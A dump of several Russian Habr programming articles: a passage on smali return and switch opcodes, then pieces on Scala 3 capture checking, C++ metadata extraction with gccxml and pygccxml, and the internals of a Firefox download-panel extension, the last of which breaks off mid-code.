Оператор `return` используется для выполнения явного возврата из метода. То есть он снова передает управление объекту, который вызвал данный метод. Оператор `return` предписывает интерпретатору остановить выполнение текущего метода. Если метод возвращает значение, оператор `return` сопровождается некоторым выражением. Значение этого выражения становится возвращаемым значением метода.
#### `return vAA`
* `A`: Регистр возвращаемого значения (8 bits)
Возврат из метода возвращаемого значения non-object со значением vAA.
#### `return-object vAA`
* `A`: Регистр возвращаемого значения (8 bits)
Возврат из метода object-returning с помощью object-reference в vAA.
#### `return-void`
Возврат из метода void без значения.
#### `return-wide vA+`
* `A`: Пара регистров возвращаемого значения (8 bits)
Возврат `double`/`long` (64-bit) значение в `vA+`.
Switch-и
--------
packed-switch vAA, :target
Легенда:
* `A`: Регистр который проверяется
* `target`: Целевая метка таблицы packed-switch(переключателей)
Реализует оператор `switch`, где константы case являются последовательными. Инструкция (сценарий выполнения кода) использует таблицу индексов. `vAA` указатели в эту таблицу, чтобы найти смещение инструкции для конкретного случая. Если `vAA` выпадает из таблицы индексов, выполнение продолжается в следующей команде (случай по умолчанию). `pack-switch` используется, если возможные значения `vAA` являются последовательными независимо от самого минимального значения.
Пример таблицы с переключателями:
```
:target
.packed-switch 0x1 # 0x1 = самое низкое/минимальное значение vAA
:pswitch_0 # Перейдет к pswitch_0 если vAA == 0x1
:pswitch_1 # Перейдет к pswitch_1 если vAA == 0x2
.end packed-switch
```
#### `sparse-switch vAA, :target`
Реализует оператор switch, где константы case не являются последовательными. В инструкции используется таблица поиска с константами `case` и смещениями для каждой константы случая. Если в таблице нет соответствия, выполнение продолжается в следующей команде (случай по умолчанию).
```
:target
.sparse-switch
0x3 -> :sswitch_1 # Перейдет к sswitch_1 если vAA == 0x3
0x65 -> :sswitch_2 # Перейдет к sswitch_2 если vAA == 0x65
.end sparse-switch
``` | https://habr.com/ru/post/495024/ | null | ru | null |
# О проверке захвата в Scala 3
Несколько дней назад в [твите](https://twitter.com/odersky/status/1491693322573864960) Мартина Одерски (Martin Odersky) была анонсирована новая экспериментальная фича под названием "[проверка захвата](https://dotty.epfl.ch/reference/experimental/cc.html)".
Эта фича — новая глава в десятилетней борьбе за добавление чего-то похожего на систему эффектов в scala 3. Она имеет некоторое сходство с предложением [линейных ограничений](https://arxiv.org/abs/2103.06127) для Haskell и [лайфтайма](https://doc.rust-lang.org/book/ch10-03-lifetime-syntax.html) rust.
**Дисклеймер:** *все приведенные здесь сниппеты не типизированы и должны рассматриваться как псевдоязык, похожий на scala*
### Системы эффектов
Система эффектов — это некоторая форма метаинформации, обычно внутри системы типов. Она предупреждает и проверяет, что значение рантайм или другая семантика текущего выражения имеет некоторые особенности, такие как побочные эффекты, асинхронность, ошибки, неопределенность, множественность и т.п.
Полноценная система алгебраических эффектов нуждается в нескольких компонентах:
* Композиция, которая объединяет все эффекты на ходу.
* Система типов, которая ведет себя как полурешетка.
* Обработка эффекта, которая в логике похожа на правило "Cut" (сечения).
Первый означает, что если мы пишем что-то вроде `foo(bar(x))` или `foo(x) + bar(y)`, где `foo` имеет эффект `A`, а `bar` имеет эффект `B`, то вся операция должна иметь эффект *'*`A + B`*'*. Где *"*`A`*"* и *"*`B`*"* могут быть чем угодно, от мутирования некоторых переменных до параллельного межузлового взаимодействия.
Второй означает, что у вас есть некоторая операция "сложения" эффектов, коммутативная и идемпотентная. То есть `a + b + a`, `a + b` и `b + a` — это одно и то же.
Третий означает, что иногда вы можете взять некоторое выражение со сложным эффектом, например, `a + b`, и как только у вас появится некий "обработчик" для `b`, вы сможете применить его к своему выражению и получить какое-то новое выражение только с отметкой `a`на нем.
В Scala 3 было несколько возможных механизмов, обеспечивающих такую систему, наиболее заметными являются два:
* Контравариантность.
* Контекстная абстракция.
Оба предлагают эффекты как возможности. Т.е. требование наличия объекта какого-либо типа является отличительным признаком эффекта, а предоставление требуемого объекта является обработкой.
Первый вариант основан на том, что в Scala 3 уже существует хорошая решетка подтипов. То есть, имея некоторый контравариантный тип `Expr[-_]`, вы можете получить правило, когда составление выражений с `Expr[A]` и `Expr[B]` приведет вас к некоторому `Expr[A & B]` со всей коммутативностью и идемпотентностью бесплатно. Это было полностью использовано в первой версии шаблона модуля ZIO..
Однако, "обработка" была хлопотной, поскольку не так просто написать корректный рантайм, который может "вычесть" один трейт из другого, что в конечном итоге привело бы вас к необходимости "мерджинга" трейтов, т.е. предоставлению общей функции, делающей `(A, B) => A & B`.
Сначала это было отчасти решено с помощью макросов в библиотеке "zio-macros".
Затем в ZIO появилось частичное решение на основе `HashMap` с ключами TypeTag под названием Has. А ZIO-2 собирается сделать эту хеш-карту полностью скрытой, оставляя пользователю типы типа `Console & ReadUser & Postgres`, где все типы `Console`, `ReadUser` и `Postgres` являются чистыми трейтами, а не псевдонимами `Has`.
Второй вариант, контекстная абстракция, был особенно интересен для Мартина Одерски. Он считает, что механизм неявной передачи аргументов во время их использования является наилучшей формой возможностей системы эффектов. Таким образом, получить эффекты *A* и *B* просто, как и контекстные аргументы типов *A* и *B*, т.е. иметь тип `(A, B) ?=> Whatever`.
Данный механизм имеет простейшую обработку эффектов — это просто передача аргумента. Однако, он требует больше усилий по набору текста от пользователя, поскольку контекстные аргументы еще не могут быть выведены.
Также ему не хватает базовых свойств, поскольку `(A, B) ?=> X` не является тем же типом, что и `(B, A) ?=> X`. И что еще хуже, если *B* является подтипом *A*, так что `A ?=> X` является подтипом `B ?=> X` для любого *X*, то неверно, что `(A, B) ?=> X` является тем же самым, что и `B ?=> X`.
Но это были не те неприятности, которые огорчали Мартина. Самой значительной для него стала проблема "утечки возможностей". Итак, представьте, что у вас есть `Database ?=> User.` Технически вы можете предоставить некоторую `Database`и теперь иметь чистое значение `User`, но нет никакой гарантии, что какой-то метод или функция внутри `User` не захватила этот экземпляр `Database`. Итак, вы продолжаете вычисления, теперь уже формально не привязанные к `Database`, и где-то внезапно начинаете SQL-транзакцию, используя старую и, возможно, закрытую сессию базы данных.
Команда dotty была настолько озадачена этой напастью, что заново имплементировала одну из самых интересных вещей в системе типов rust: времена жизни (lifetimes).
### Времена жизни
Представьте, что у вас есть компилятор, который создает приложение без поддержки сборки мусора и копирует как можно меньше данных. Поэтому, когда вы аллоцируете что-то в куче или стеке, вам нужно стимулировать повторное использование этих данных, используя некоторые не отслеживаемые GC (Garbage Collector. сборщик мусора) чистые ссылки на объект.
Поэтому в rust появились параметры времени жизни.
Каждая функция или тип может иметь общие параметры, вроде 'a 'b, они могут быть применены к некоторой ссылке или другой общей сущности и имеют значение "нижняя граница того, как долго эта ссылка будет жить" или "интервал, в котором эта ссылка гарантированно будет корректна".
Таким образом, следующая пара определений имеет совершенно различную семантику
```
fn get_something<'a>(src: &'a Source) -> Something
```
```
fn make_something<'a>(src: &'a Source) -> Something<'a>
```
Если в возвращаемом типе не упоминается время жизни параметра, то функция, возможно, что-то выполняет, обращается к аргументам во время этого и формирует результат, совершенно независимый от аргумента.
Второе означает, что функция, вероятно, использует аргумент и помещает в него результат, поэтому тип результата, скорее всего, будет неверным, когда первоначальное значение, на которое ссылаются, перемещено или удалено.
### Проверка захвата
Команда dotty предлагает нечто подобное в scala 3. Но вместо дополнительных эфемерных типов, она представляет времена жизни с именами соответствующих параметров. Первый вариант при этом смотрелся бы традиционно.
```
def getSomething(using src: Source): Something
```
А во втором, теперь есть изысканная отметка на типе
```
def makeSomething(using src: Source): {src} Something
```
Поэтому вместо того, чтобы добавлять специальные именованные метки типов, можно просто использовать имена аргументов в качестве их "времени жизни".
Почему же это вообще релевантно для языка с рантаймом с поддержкой GC, такого как scala?
Во-первых, и это наиболее очевидно, это решает проблему "утечки возможностей". Теперь, когда у `Database` есть трейт, аннотированный `@capability`, вы не можете написать функцию `Database ?=> User`, только если результатом не будет значение, не относящееся к `Database`. Вместо этого должно быть что-то вроде
```
(db: Database) ?=> {db} User // syntax is uncofirmed
```
Поэтому вы должны где-то явно пометить, что тип результата не свободен от `db`. Позволяет ли это использовать контекстные абстракции в качестве хорошей системы эффектов? Трудно ответить на этот вопрос, но я думаю, что это дает гораздо более интересную вещь.
Следует помнить, что проверка захвата не включает в себя "линейность" или другую форму подструктурной типизации. Если проверить внимательно, то ни одно из трех наиболее распространенных структурных правил (ослабление, сокращение, обмен) не будет нарушено. Самое сложное из них, " сокращение", которое обеспечивает возможность "повторного использования", по-прежнему безопасно. Хотя конечные типы могут явно ссылаться на имена переменных контекста, так же поступает и система зависимых типов, и соответствующая логика не является подструктурной. Мы можем просто "переназначить" несколько имен к одной переменной во время сокращения.
### Скоупы ресурса
Типичное ресурсно-ориентированное параллельное приложение в cats-effect или ZIO использует монадический тип `Resource`или `ZManaged`. Этот тип обычно основан на некоторой базовой асинхронной монаде, например, `F[_]` или `ZIO`, и включает в себя:
* шаг для инициализации ресурса;
* шаг освобождения ресурса.
Поэтому стандартным использованием такого типа будет `resource.use(actions)`, что примерно эквивалентно:
```
for
(r, release) <- resource.allocate
x <- actions(r)
_ <- release
yield x
```
Ресурс может быть составным, у вас может быть несколько процедур аллокации ресурсов и получится что-то вроде:
```
val resource =
for
a <- resA
b <- resB(a)
c <- resC(a, b))
yield f(a, b, c)
```
Когда вы пишете что-то типа `resource.use(actions)` вся последовательность будет выглядеть как:
```
for
(a, releaseA) <- resA.allocate
(b, releaseB) <- resB(a).allocate
(c, releaseC) <- resC(a, b).allocate
x <- actions(f(a, b, c))
_ <- releaseC
_ <- releaseB
_ <- releaseA
yield x
```
Ресурсы имеют некое статически известное время жизни. Ресурс *c* живет с 4 по 6 строку, *b* - с 3 по 7, а *a* - с 2 по 8.
Что если нам нужно что-то похожее на:
```
for
(a, releaseA) <- resA.allocate
(b, releaseB) <- resB(a).allocate
x <- f(a, b)
(c, releaseC) <- resC(a, b, c).allocate
_ <- releaseA
y <- g(b, c)
_ <- releaseB
_ <- releaseC
yield h(x, y)
```
В этом коде мы исходим из того, что `resB` и `resC` используют результат `resA` только во время инициализации, но не нуждаются в нем во время жизни, так что любая функция `g` может ссылаться на них без опасений. Но похоже, что подобные потоки трудно выразить, используя текущую форму ресурса со статическим скоупом.
### RAII
Один из самых приятных аспектов времени жизни в rust — это то, что оно помогает эффективно работать с ресурсами.
Приведенный выше код можно преобразовать в нечто вроде:
```
let a = res_a()
let b = res_b(&a)
let x = f(&a, &b)
drop(a) // optional
let c = res_c(&a, &b)
let y = g(&b, &c)
```
Первое, что мы можем здесь увидеть — нет фактической необходимости в деаллокаторах, даже `drop(a)` необязателен, поскольку rust может автоматически рассчитать время сброса для каждой переменной.
Второе: хотя *a* отбрасывается, мы можем свободно использовать *b* и *c*, поскольку их время жизни, предположительно, не связано с временем жизни *a*.
Третье: у нас нет типа "ресурс". Каждая конструкция может служить в качестве аллокации ресурса.
К сожалению, эти тонкости трудно использовать в параллельном коде. Большинство популярных rust-имплементаций асинхронности используют глобальный цикл для планирования задач. Каждый элемент `Task` является частным случаем `Future` и должен иметь `'static` время жизни, для того чтобы его можно было запланировать. Это означает, что переменные, аллоцированные в одной задаче, не могут быть использованы в качестве "отслеживаемых на протяжении всего времени жизни" ресурсов в другой. Так что если ваш "ресурс" должен использоваться параллельно, трудно отследить его "время жизни".
### Проверка захвата и RAII
Используя новое предложение, вы добьетесь чего-то подобного. Можно выделить три типа использования, такие как:
```
def useA(a: A): {a} IO[B]
```
```
def useA(a: A): IO[{a} B]
```
```
def useA(a: A): {a} IO[{a} B]
```
Аннотация захвата перед IO означает, что вы можете ссылаться на `{a}` во время расчета. С другой стороны, аннотация перед типами B отражает, что результат вычисления все равно будет так или иначе ссылаться на аргумент.
Это также означает, что технически мы можем иметь что-то вроде ресурса без необходимости использования различных монадических типов. Тем не менее, мы должны добавить какую-то маркировку для натуральных "ресурсов", вещах, нуждающихся в деаллокации.
Скажем, стандартный способ вычисления будет иметь тип `IO[normal, A]`, а ресурсоподобный — `IO[resource, A]`, мы должны соответствующим образом адаптировать наш `flatMap`. Т.е.
```
//ordinary calculation
extension [A] (io: IO[normal, A)
def flatMap[flag, B](f: (a: A) -> {a} IO[flag, {a} B]) : IO[flag, B]
//resource allocation
extension [A](io: IO[resource, A])
// using the resource
def flatMap[flag, B](f: (a: A) -> {a} IO[flag, B]): IO[flag, B]
// defering the deallocation
def flatMap[B](f: (a: A) -> {a} IO[Any, {a} B]): IO[resource, B]
```
Это также означает, что нам нужен какое-то более сложное for-сравнение (или другой синтаксический сахар), которое могло бы завершать `flatMap` раньше остановки всего выражения, так что:
```
for
a <- resA
b <- resB(a)
c <- resC(a, b)
x <- foo(b, c)
yield bar(x)
```
можно преобразовать как:
```
resA
.flatMap(a =>
resB(a)
.flatMap(b =>
resC(a, b)
.map(c => (b, c))
)
.flatMap((b, c) =>
foo(b, c)
.map(bar))
```
Обратите внимание на левоассоциированный `flatMap` на `resA`, для предварительного закрытия ресурса на основании того, что *b* и *c* не захватывают ссылку *a*.
Мы также можем добавить сюда `drop(a)`, чтобы обеспечить корректное завершение жизни.
Эти флаги *`normal`* и *`resource`*, скорее всего, могут быть отброшены с помощью дополнительной аннотации "capture", такой как `(r: Release) ?-> {r}. Async[A]` может быть псевдонимом для `IO[normal, A] и (r: Release) ?-> {r} Async[ {r} A]` будет псевдонимом для `IO[resource, A]` — расчет, требующий завершения.
Таким образом, вместо того, чтобы иметь конкретную монаду для ресурсов, мы можем иметь метку скоупа, представляющую скоуп-операции.
### Заключительные мысли
Аллокация ресурсов — это лишь один из примеров того, как можно использовать новую механику проверки захвата.
Но это не конец истории. Короче говоря, я не считаю, что проверка захвата — это только лишь отслеживание эффектов. Я считаю, что это прекрасный инструмент для отслеживания всей scope (области видимости).
Есть гораздо больше сопутствующих проблем связанных со скоупом, таких как
* Конкурентные блокировки.
* Сессии базы данных.
* Пользовательские HTTP-сессии.
* STM.
Каждый раз, когда у нас есть какой-то вспомогательный монадический тип, преобразованный в IO, мы вводим специальную область видимости, и тогда взаимодействие между скоупами становится сложным.
Проверка захвата добавляет возможность для пересечения скоупов и заменяет все узкоспециализированные типы маркировки скоупов одной лексической "возможностью".
Это позволяет "пересекать" области видимости и, возможно, устранит зоопарки функторов в существующих параллельных библиотеках.
---
Сегодня вечером в Otus пройдет открытый урок «Эффекты в Scala», на котором:
* Рассмотрим понятие эффекта и сложности, которые могут возникать при наличии эффектов.
* Введем понятие функционального эффекта, рассмотрим его свойства.
* Реализуем свой небольшой функциональный эффект.
Регистрация — [**по ссылке.**](https://otus.pw/zSxj/) | https://habr.com/ru/post/670102/ | null | ru | null |
# Извлекаем мета-информацию из Си/C++ кода при помощи (py)gccxml
До появления gccxml, был только один способ извлечь мета-информацию из Си/С++ кода. Для начала, необходимо было написать парсер, способный справиться с грамматикой языка С++. Это не та задача, которую вы обычно решаете дома за выходные.
Теперь, писать парсер больше не нужно. Модифицированный компилятор gcc анализирует ваш код и выдает описание всех пространств имен, типов, классов и функций, встреченных в программе. Данные выдаются в формате XML и *в принципе* готовы для дальнейшего автоматического анализа и обработки.
Для разбора XML данных, полученных от gccxml, пригодится библиотека pygccxml. Это не просто ридер формата gccxml — библиотека предоставляет интерфейсы для изучения собранных метаданных; в частности есть готовые функции, отвечающие на вопросы вроде «совместимы ли типы T1 и T2?» или «наследует ли класс C1 от C2?». Библиотека написана на языке Python.
#### Знакомство с gccxml
Gccxml был разработан в Kitware (они же авторы CMake). Это модифицированный C++ парсер из GCC.
Вероятно, у вас еще не установлен gccxml. Лично я ставил gccxml с помощью менеджера пакетов и не вижу необходимости останавливаться на этом шаге подробно. Если для вашей ОСи нет пакетного менеджера, боюсь я ничем не могу помочь.
Начнем с простого определения функции.
```
namespace test {
int fn(int a, int b);
}
```
Компилируем:
```
gccxml -fxml=test.xml test.cpp
```
На выходе получаем test.xml такого содержания (фрагмент):
```
```
Здесь все понятно и без документации. Я не буду приводить примеры для других конструкций языка C++ — там все аналогично. Первоочередная цель достигнута — мета-информация извлекается в формате, пригодном для дальнейшей автоматической обработки.
#### Извлекаем еще больше мета-информации
Иногда в исходных текстах содержится больше информации, чем предусмотрено семантикой языка C++. Пример: [SAL-анотации](http://msdn.microsoft.com/en-us/library/aa383701(v=vs.85).aspx) в Windows (\_\_in, \_\_out и тп.)
```
BOOL WINAPI CreateProcess(
__in_opt LPCTSTR lpApplicationName,
__inout_opt LPTSTR lpCommandLine,
__in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in BOOL bInheritHandles,
__in DWORD dwCreationFlags,
__in_opt LPVOID lpEnvironment,
__in_opt LPCTSTR lpCurrentDirectory,
__in LPSTARTUPINFO lpStartupInfo,
__out LPPROCESS_INFORMATION lpProcessInformation
);
```
Пример: информация о минимальной версии Mac OS X, в которой доступна API функция.
```
CFErrorRef CFErrorCreate(
CFAllocatorRef allocator,
CFStringRef domain,
CFIndex code,
CFDictionaryRef userInfo
)
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
```
Даже эту дополнительную мета-инфрмацию можно извлекать при помощи gccxml. Здесь нам поможет специфичное для gcc расширение синтаксиса языка C++ — конструкция [attribute](http://gcc.gnu.org/onlinedocs/gcc/Attribute-Syntax.html). Экспериментировать будем с определением функции fn:
```
#define __foo __attribute__((gccxml("__foo"))
#define __bar __attribute__((gccxml("__bar"))
namespace test {
__foo int fn(__bar int a, int b);
}
```
Атрибуты «применяются» к ближайшей семантической единицей в исходном тексте. Так первый атрибут относится к функции fn, а второй — к параметру a. Gcc понимает различные атрибуты, но в данном случае нас интересует только атрибут gccxml.
Gccxml выдает следующую информацию по функции fn. Как мы видим, все аннотации сохранены и доступны для дальней обработки.
```
```
#### Знакомство с pygccxml
Pygccxml разрабатывается Roman Yakovenko и co. Цель проекта — автоматическое изготовление C++/Python биндингов при помощи boost::python. Интересно, чем их не устроил SWIG?
Pygccxml можно поставить либо через пакетный менеджер, либо вручную (качать [здесь](http://sourceforge.net/projects/pygccxml/files/pygccxml/pygccxml-1.0/), инструкции по установке в README.txt).
Документация на pygccxml оставляет желать лучшего. Для начала работы ее достаточно, но если потребуется что-то, выходящее за рамки базовых возможностей, придется заглядывать в исходный код библиотеки. Это странно, но документация не доступна для онлайн-просмотра, ее можно только [скачать](http://sourceforge.net/projects/pygccxml/files/docs-pygccxml-pyplusplus/).
Ниже приведен пример простешего анализатора C++ кода с использованием библиотеки pygccxml.
Скрипт распечатывает все функции, объявленные в прострастве имен test.
```
import pygccxml
db = pygccxml.parser.parse(['test.cpp'])
global_ns = pygccxml.declarations.get_global_namespace(db)
for test_ns in global_ns.namespaces('test'):
for function in test_ns.calldefs():
pygccxml.declarations.print_declarations(function)
```
Вот результат работы скрипта:
```
free_function_t: 'fn'
location: [./test.cpp]:4
artificial: 'False'
attributes: gccxml(__foo)
demangled: test::fn(int, int)
mangled: _ZN4test2fnEii
return type: int
arguments type: int a, int b
```
#### Идеи для вашего кода
Зачем мне программно анализировать C++ код, если я не интересуюсь языками и компиляторами? — спросит прагматичный читатель. Сейчас я расскажу про несколько вполне реальных задач, которые потребовали автоматического анализа кода.
Вот что [пишет](http://blog.not-a-kernel-guy.com/2007/08/12/220) Алексей Пахунов aka notakernelguy:
> Я тут совсем недавно удивлялся почему нет библиотек, эмулирующих поддержку UTF-8 на уровне Win32 API. Т.е. такая библиотека реализует, скажем, CreateFileUtf8 в дополнение к предлагаемым системой CreateFileA и CreateFileW, а макрос CreateFile будет выбирать нужную реализацию уже из трех вариантов.
В 2007 году Алексей решает создать такую библиотеку для прозрачного внедрения поддержки Unicode в программу Notepad2. Предполагалось автоматически обработать заголовочные файлы Windows и генерировать искомую библиотеку программно. Алексей [не использует](http://blog.not-a-kernel-guy.com/2007/08/16/221) gccxml и в 2012 году его библиотека все еще не готова.
Следующие два примера из моей практики.
С помощью gccxml я делал C++ обертку для [CoreFoundation](https://developer.apple.com/corefoundation/) — базового объектно-ориентированного Си API в Mac OS X. Цель данного проекта — реализовать автоматическое управление временем жизни CF объектов. Да, я в курсе про [ARC](http://clang.llvm.org/docs/AutomaticReferenceCounting.html).
А вот второй пример. У меня есть система для обработки данных, написанная на C++. Система изначально однопоточная, для увеличения быстродействия в планах разнести часть взаимодействующих объектов по разным потокам. Для этого предполагается создать ряд proxy-классов, которые будут конвертировать вызов метода в отправку сообщения другому потоку, где после раcпаковки сообщения будет вызван метод объекта, скрытого за proxy. Изменений существующего кода не требуется, так как доступ к любому объекту по-прежнему осуществляется из единственного потока. Требуется написать много однотипного кода, и эту задачу лучше всего доверить автоматическому генератору.
#### Ограничения gccxml
К сожалению, gccxml имеет некоторые недостатки. Из кода извлекаются только декларации, а тела функций не доступны. Декларации шаблонов также не доступны. Gccxml основан на достаточно старой версии gcc и разработка идет не слишком активно. | https://habr.com/ru/post/138906/ | null | ru | null |
# Firefox: улучшения панели загрузок
Речь пойдет об особенностях новой панели загрузок в Firefox и расширении [Download Panel Tweaker](https://addons.mozilla.org/firefox/addon/download-panel-tweaker/), устраняющем некоторые из нежелательных особенностей.
В частности, о самом спорном, на мой взгляд, нововведении, из-за которого завершенные загрузки пропадают из списка (хотя и остаются видны в соответствующем разделе «библиотеки») – так уж получилось, что на это исправление улучшение времени ушло больше всего.
Результат выглядит так (это «компактный» вариант из [настроек](http://habrastorage.org/files/8af/19d/622/8af19d622286459ebd499dfd2d6998ca.png "Скриншот настроек в версии 0.2.0"), «очень компактный» позволит сэкономить еще немного места):
А вот [как было изначально](http://habrastorage.org/files/98f/29b/eb1/98f29beb1fa1412db39305cc6b9153ac.png "Скриншот загрузок в Firefox 27.0.1").
Также будет довольно много примеров кода (а то куда же без подробностей?).
Вместо предисловия, или да здравствует компактность!
====================================================
Для начала, все элементы панели загрузок по умолчанию огромны! Во-первых, у меня не сенсорный монитор – спасибо, но я и так могу попасть в нужный пункт. А во-вторых, пунктов видно всего три, не больше. То есть место расходуется, а пользы что-то мало.
В общем-то, если бы ограничение видимого количества загрузок можно было бы настроить встроенными средствами, расширения могло бы и не быть, потому как размеры [легко настраиваются](https://github.com/Infocatcher/UserStyles/tree/master/Compact_downloads) с помощью [userChrome.css](http://forum.mozilla-russia.org/doku.php?id=firefox:tips:userchrome.css) или расширения [Stylish](https://addons.mozilla.org/addon/stylish/).
Вдобавок одними только стилями невозможно (?) вывести скорость загрузки – она есть во всплывающей подсказке, но псевдоклассы [::before](https://developer.mozilla.org/en-US/docs/Web/CSS/::before) и [::after](https://developer.mozilla.org/en-US/docs/Web/CSS/::after) работают в XUL далеко не всегда (видимо, это ограничения [анонимных узлов](https://developer.mozilla.org/en-US/docs/XBL/XBL_1.0_Reference/Anonymous_Content)), так что подобное не помогает:
```
.downloadDetails[tooltiptext]::after {
content: attr(tooltiptext) !important;
}
```
Увеличение количества видимых загрузок
======================================
В результате код, отвечающий за количество загрузок в панели нашелся достаточно быстро в файле *chrome://browser/content/downloads/downloads.js*:
```
const DownloadsView = {
//////////////////////////////////////////////////////////////////////////////
//// Functions handling download items in the list
/**
* Maximum number of items shown by the list at any given time.
*/
kItemCountLimit: 3,
```
Но изменения будут работать только если были внесены при запуске браузера, то есть до того, как инициализировалась панель загрузок.
Поэтому дальнейшие поиски привели в файл *resource://app/modules/DownloadsCommon.jsm* и в функцию *DownloadsCommon.getSummary()*:
```
/**
* Returns a reference to the DownloadsSummaryData singleton - creating one
* in the process if one hasn't been instantiated yet.
*
* @param aWindow
* The browser window which owns the download button.
* @param aNumToExclude
* The number of items on the top of the downloads list to exclude
* from the summary.
*/
getSummary: function DC_getSummary(aWindow, aNumToExclude)
{
if (PrivateBrowsingUtils.isWindowPrivate(aWindow)) {
if (this._privateSummary) {
return this._privateSummary;
}
return this._privateSummary = new DownloadsSummaryData(true, aNumToExclude);
} else {
if (this._summary) {
return this._summary;
}
return this._summary = new DownloadsSummaryData(false, aNumToExclude);
}
},
```
И собственно происходящее в конструкторе *DownloadsSummaryData*:
```
/**
* DownloadsSummaryData is a view for DownloadsData that produces a summary
* of all downloads after a certain exclusion point aNumToExclude. For example,
* if there were 5 downloads in progress, and a DownloadsSummaryData was
* constructed with aNumToExclude equal to 3, then that DownloadsSummaryData
* would produce a summary of the last 2 downloads.
*
* @param aIsPrivate
* True if the browser window which owns the download button is a private
* window.
* @param aNumToExclude
* The number of items to exclude from the summary, starting from the
* top of the list.
*/
function DownloadsSummaryData(aIsPrivate, aNumToExclude) {
this._numToExclude = aNumToExclude;
```
Тут все просто – достаточно сделать вот так:
```
var itemCountLimit = 5; // Для примера увеличим количество видимых загрузок с 3 до 5
if(DownloadsCommon._privateSummary)
DownloadsCommon._privateSummary._numToExclude = itemCountLimit;
if(DownloadsCommon._summary)
DownloadsCommon._summary._numToExclude = itemCountLimit;
```
То есть корректируется лимит для уже созданных обычного и приватного экземпляров *DownloadsSummaryData*.
Самая же сложная часть состоит в том, что сам по себе список загрузок в соответствии с новыми настройками не перерисуется.
Но тут у меня была фора: в процессе разработки расширения [Private Tab](https://addons.mozilla.org/addon/private-tab/) (по которому, кстати, тоже была [статья](http://habrahabr.ru/post/175469/)) возник точно такой же вопрос, потому как нужно было менять список загрузок с обычного на приватный при переключении вкладок (и там не обошлось без множества экспериментов разной степени успешности).
Но без подвохов, как водится, все равно не обошлось: в Firefox 28 удалили функцию для очистки панели загрузок, совсем (раньше она была для переключения между старым и новом движком загрузок). Так что пришлось написать аналог – благо, он простой.
Результат можно посмотреть по уже приведенной выше [ссылке](https://gist.github.com/Infocatcher/5387328) или [в коде расширения](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/bootstrap.js#L344).
Причем в расширении есть особенность: если просто сделать
```
DownloadsView._viewItems = {};
DownloadsView._dataItems = [];
```
, то возникнет утечка памяти, потому как объекты будут созданы в области видимости расширения, так что пригодились обычно не используемые функции-конструкторы:
```
DownloadsView._viewItems = new window.Object();
DownloadsView._dataItems = new window.Array();
```
При этом *window* – это окно, в котором находится *DownloadsView* (то есть *DownloadsView === window.DownloadsView*).
Сохранение загрузок при выходе
==============================
Это оказалось самым сложным, но не столько из-за того, что внутренняя реализация загрузок поменялась в Firefox 26, сколько из-за множества сопутствующих проблем. Многие из этих сложностей отражены в [соответствующем issue](https://github.com/Infocatcher/Download_Panel_Tweaker/issues/5), но лучше обо всем по порядку.
Старые версии и очистка загрузок
--------------------------------
В Firefox 25 и более старых версиях загрузки принудительно очищались (*resource://app/components/DownloadsStartup.js*):
```
case "browser-lastwindow-close-granted":
// When using the panel interface, downloads that are already completed
// should be removed when the last full browser window is closed. This
// event is invoked only if the application is not shutting down yet.
// If the Download Manager service is not initialized, we don't want to
// initialize it just to clean up completed downloads, because they can
// be present only in case there was a browser crash or restart.
if (this._downloadsServiceInitialized &&
!DownloadsCommon.useToolkitUI) {
Services.downloads.cleanUp();
}
break;
...
case "quit-application":
...
// When using the panel interface, downloads that are already completed
// should be removed when quitting the application.
if (!DownloadsCommon.useToolkitUI && aData != "restart") {
this._cleanupOnShutdown = true;
}
break;
case "profile-change-teardown":
// If we need to clean up, we must do it synchronously after all the
// "quit-application" listeners are invoked, so that the Download
// Manager service has a chance to pause or cancel in-progress downloads
// before we remove completed downloads from the list. Note that, since
// "quit-application" was invoked, we've already exited Private Browsing
// Mode, thus we are always working on the disk database.
if (this._cleanupOnShutdown) {
Services.downloads.cleanUp();
}
```
В результате при закрытии браузера вызывалась функция *Services.downloads.cleanUp()*.
(Кстати, там же уже есть следы нового движка – проверка на значение настройки *browser.download.useJSTransfer*.)
Пришлось переопределить *Services.downloads* целиком, потому как это
```
Components.classes["@mozilla.org/download-manager;1"]
.getService(Components.interfaces.nsIDownloadManager);
```
(см. *resource://gre/modules/Services.jsm*), а свойства сервисов менять нельзя:
```
Object.defineProperty(Services.downloads, "cleanUp", {
value: function() {},
enumerable: true,
configurable: true,
writable: true
}); // Exception: can't redefine non-configurable property 'cleanUp'
```
Если упрощенно, результат получился следующий:
```
var downloads = Services.downloads;
var downloadsWrapper = {
__proto__: downloads,
cleanUp: function() { ... }
};
this.setProperty(Services, "downloads", downloadsWrapper);
```
То есть наш поддельный объект содержит свою реализацию функции-свойства *cleanUp* и наследует все остальное от настоящего *Services.downloads*.
Ну, а из поддельной функции *Services.downloads.cleanUp()* можно проверить стек вызова, и если это тот самый *DownloadsStartup.js*, то ничего не делать. Это хоть и не очень надежно, но зато легко восстанавливается при отключении расширения. Можно даже [усложинить задачу](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L125) и добавить проверки на случай, если какое-нибудь другое расширение сделает аналогичную обертку.
Новые версии, выборочное сохранение загрузок и множество хаков
--------------------------------------------------------------
Затем в Firefox 26 включили по умолчанию новый движок загрузок и перенесли временные загрузки (а именно они выводятся в панель загрузок) в файл *downloads.json* в профиле. Вдобавок вместо очистки была сделана фильтрация при сохранении:
*resource://gre/modules/DownloadStore.jsm*
```
this.DownloadStore.prototype = {
...
/**
* This function is called with a Download object as its first argument, and
* should return true if the item should be saved.
*/
onsaveitem: () => true,
...
/**
* Saves persistent downloads from the list to the file.
*
* If an error occurs, the previous file is not deleted.
*
* @return {Promise}
* @resolves When the operation finished successfully.
* @rejects JavaScript exception.
*/
save: function DS_save()
{
return Task.spawn(function task_DS_save() {
let downloads = yield this.list.getAll();
...
for (let download of downloads) {
try {
if (!this.onsaveitem(download)) {
continue;
}
```
Затем в *resource://gre/modules/DownloadIntegration.jsm* метод *onsaveitem* переопределяется:
```
this.DownloadIntegration = {
...
initializePublicDownloadList: function(aList) {
return Task.spawn(function task_DI_initializePublicDownloadList() {
...
this._store.onsaveitem = this.shouldPersistDownload.bind(this);
...
/**
* Determines if a Download object from the list of persistent downloads
* should be saved into a file, so that it can be restored across sessions.
*
* This function allows filtering out downloads that the host application is
* not interested in persisting across sessions, for example downloads that
* finished successfully.
